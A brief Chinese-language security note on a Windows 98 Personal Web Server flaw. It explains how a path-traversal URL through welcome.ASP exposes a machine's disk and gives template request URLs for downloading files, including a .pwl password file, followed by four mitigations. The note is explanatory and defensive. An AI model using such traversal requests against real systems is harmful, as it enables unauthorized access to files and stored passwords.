現在還有許多政府機關里的電腦上使用的是Windows98操作系統，里面的PWS漏洞是利用安裝PWS后，系統安裝在

windows/system/inetsrv/iisadmin/publish目錄里的welcome.ASP文件

來查看硬盤里的數據。只要PWS安裝在C:，在上網時啟動了PWS就有可能用

http://xxx.xxx.xxx.xxx/..../windows/system/inetsrv/iisadmin/publish/welcome.ASP

的方法來查看文件，(xxx.xxx.xxx.xxx為IP地址)，然后再用http://xxx.xxx.xxx.xxx/..../(文件路徑)的方法下載硬盤里的數據。

如：http://xxx.xxx.xxx.xxx/..../windows/xxx.pwl。

防范

1.刪除welcome.ASP文件(不推薦使用該方法)。

2.不要將PWS安裝在C:。

3.安裝Windows98時將windows的目錄改名，如用Windows98。

4.上網時關閉PWS。